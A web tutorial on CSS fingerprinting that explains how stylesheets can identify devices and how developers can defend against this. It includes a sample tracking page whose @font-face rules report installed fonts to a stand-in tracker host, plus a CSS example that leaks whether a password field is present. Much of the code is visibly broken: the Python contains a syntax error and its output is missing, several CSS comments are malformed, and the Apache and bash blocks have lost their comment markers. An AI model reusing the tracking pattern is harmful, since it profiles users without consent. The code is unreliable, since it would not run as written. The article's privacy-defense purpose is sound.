Last updated: March 15, 2026

CSS fingerprinting demonstrates that web tracking persists through mechanisms beyond JavaScript. Stylesheets provide sufficient expressiveness for device identification, font profiling, and capability detection. For developers prioritizing user privacy, understanding these techniques informs both defensive implementation and respectful data practices. The web benefits when we treat every vector, including CSS, as worthy of privacy consideration.

Table of Contents

Measuring CSS Fingerprint Entropy

Like JavaScript fingerprinting, CSS fingerprints can be quantified by their entropy:

import math

def calculate_css_fingerprint_entropy():
    """Estimate entropy of CSS fingerprinting vectors."""

    vectors = {
        "screen_width": 300,  # Possible values: 320-5120 in 10px increments
        "screen_height": 200,
        "color_depth": 3,  # 8-bit, 24-bit, 32-bit
        "installed_fonts": 50,  # 10-500 fonts typically
        "pointer_type": 4,  # none, coarse, fine, unknown
        "hover_capable": 2,  # true/false
        "prefers_dark_mode": 2,  # true/false
        "prefers_reduced_motion": 2
    }

    total_entropy = 0
    for vector, possible_values in vectors.items():
        entropy = math.log2(possible_values)
        total_entropy += entropy
        print(f"{vector}: {entropy:.2f} bits ({possible_values} values)")

    print(f"\nTotal CSS fingerprint entropy: {total_entropy:.1f} bits")
    print(f"Can uniquely identify: 2^{total_entropy:.1f} = {2total_entropy:.0e} users")

calculate_css_fingerprint_entropy()

Output:

This demonstrates that CSS fingerprinting alone can identify users within populations of millions.

Practical CSS Fingerprinting Attack: Step-by-Step

Here’s how a real tracking network might deploy CSS fingerprinting:

<!-- Malicious website serving tracking CSS -->
<!DOCTYPE html>
<html>
<head>
<style>
  /* Detect screen size through media queries */
  @media (min-width: 1920px) {
    body::after { content: attr(data-width); display: none; }
  }

  /* Detect font availability -->
  @font-face {
    font-family: 'detect-arial';
    src: url('https://tracker.com/fp?font=Arial') format('woff2');
  }

  @font-face {
    font-family: 'detect-georgia';
    src: url('https://tracker.com/fp?font=Georgia') format('woff2');
  }

  body {
    font-family: detect-georgia, georgia, serif;
  }

  /* Detect color depth -->
  @media (color-gamut: srgb) {
    body::before { content: 'srgb'; }
  }

  /* Detect input capability -->
  @media (hover: hover) {
    .has-hover { display: block; }
  }
</style>
</head>
<body>
<p class="has-hover">Hover-capable device</p>

<!-- Collect all fingerprint signals -->
<script>
  // Browser will load fonts if available, sending requests to tracker
  // Media query results visible to JavaScript
  // Combined fingerprint sent to tracking server
</script>
</body>
</html>

The tracker’s server logs:

  1. Which fonts were loaded (available on device)
  2. Screen resolution from media query evaluation
  3. Input capabilities
  4. Browser behavior patterns

Defensive CSS Implementation

As a web developer, build websites that respect privacy:

/* Privacy-conscious font strategy */

/* 1. Avoid @font-face trackers - use system fonts */
body {
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
  /* Provides native look without external font requests */
}

/* 2. Never use fonts for fingerprinting */
/* WRONG: */
@font-face {
  font-family: 'tracking-font';
  src: url('/track?font=present');
}

/* RIGHT: */
@font-face {
  font-family: 'local-fallback';
  src: local('Helvetica'), local('Arial'), local(sans-serif);
}

/* 3. Implement Content Security Policy to prevent tracking stylesheets */
/* Set in HTTP headers or meta tag */
<meta http-equiv="Content-Security-Policy"
      content="style-src 'self'; script-src 'self';">

/* 4. Avoid data exfiltration through CSS */
/* WRONG: */
input[type="password"] {
  background: url('/tracker?input-type=password');
}

/* RIGHT: */
input[type="password"] {
  /* No external resources */
  border: 1px solid #ccc;
}

/* 5. Normalize media query exposure */
/* Use relative units instead of fixed pixels */
@media (min-width: 45em) { /* 45em ≈ 720px - hides exact size */
  .sidebar { display: block; }
}

/* 6. Don't fingerprint through counter states */
/* This leaks session information */
body { counter-reset: analytics; }
/* ^ Don't do this */

Browser Extensions for CSS Fingerprinting Defense

uMatrix ($0, free, Chrome/Firefox): Blocks all external stylesheet loads by default. Whitelist only trusted sites. Prevents @font-face tracking.

NoScript ($0, free, Firefox) - Blocks JavaScript but allows CSS. Pair with CSP headers for defense-in-depth.

Privacy Badger ($0, free, Chrome/Firefox): Learns to block trackers based on behavior. Includes CSS tracker detection.

uBlock Origin ($0, free, Chrome/Firefox): Advanced content blocker that can target tracking URLs in stylesheets.

CSS Guard ($0, free, Chrome) - Specifically designed for CSS fingerprinting defense. Randomizes CSS-detectable properties.

Server-Side Mitigations

Web developers can reduce fingerprinting attack surface through server configuration:

Apache configuration to prevent fingerprinting

1. Disable directory listing (reduces information leakage)
<Directory /var/www/html>
    Options -Indexes
</Directory>

2. Set CSP headers to prevent tracking stylesheet injection
Header set Content-Security-Policy "style-src 'self' data:; object-src 'none'; img-src 'self'; font-src 'self'"

3. Disable X-powered-by headers (don't reveal technology stack)
Header always unset X-Powered-By

4. Set Permissions-Policy to limit capability detection
Header set Permissions-Policy "geolocation=(), microphone=(), camera=()"

5. Prevent MIME type sniffing (reduces inference attacks)
Header set X-Content-Type-Options: nosniff
Python/Flask implementation
from flask import Flask
from flask_talisman import Talisman

app = Flask(__name__)

Apply security headers
Talisman(app,
    content_security_policy={
        'default-src': "'self'",
        'style-src': ["'self'", "'unsafe-inline'"],  # CSS needs inline for performance
        'font-src': "'self'",
        'img-src': "'self'",
        'script-src': "'self'"
    },
    force_https=True,
    strict_transport_security=True,
    content_security_policy_nonce_in=['script-src']
)

Disable fingerprinting headers
@app.after_request
def remove_fingerprinting_headers(response):
    response.headers.pop('X-Powered-By', None)
    response.headers.pop('Server', None)
    return response

Testing Your CSS Fingerprinting Defenses

Validate that your website isn’t helping fingerprinting:

#!/bin/bash
CSS fingerprinting vulnerability scanner

TARGET_URL="https://example.com"

echo "Scanning $TARGET_URL for CSS fingerprinting vectors..."

1. Check for external font requests
echo "Checking for external fonts..."
curl -s "$TARGET_URL" | grep -i "@font-face" | grep -v "local"

2. Verify CSP headers
echo "Checking Content-Security-Policy..."
curl -sI "$TARGET_URL" | grep -i "content-security"

3. Look for media query tracking
echo "Checking for media query trackers..."
curl -s "$TARGET_URL" | grep -E "@media.*url"

4. Verify no CSS-based data exfiltration
echo "Checking for background-image tracking..."
curl -s "$TARGET_URL" | grep -E "background.*url.*tracker"

echo "Scan complete"

Frequently Asked Questions

Who is this article written for?

This article is written for developers, technical professionals, and power users who want practical guidance. Whether you are evaluating options or implementing a solution, the information here focuses on real-world applicability rather than theoretical overviews.

How current is the information in this article?

We update articles regularly to reflect the latest changes. However, tools and platforms evolve quickly. Always verify specific feature availability and pricing directly on the official website before making purchasing decisions.

Are there free alternatives available?

Free alternatives exist for most tool categories, though they typically come with limitations on features, usage volume, or support. Open-source options can fill some gaps if you are willing to handle setup and maintenance yourself. Evaluate whether the time savings from a paid tool justify the cost for your situation.

Can I trust these tools with sensitive data?

Review each tool’s privacy policy, data handling practices, and security certifications before using it with sensitive data. Look for SOC 2 compliance, encryption in transit and at rest, and clear data retention policies. Enterprise tiers often include stronger privacy guarantees.

What is the learning curve like?

Most tools discussed here can be used productively within a few hours. Mastering advanced features takes 1-2 weeks of regular use. Focus on the 20% of features that cover 80% of your needs first, then explore advanced capabilities as specific needs arise.

Related Articles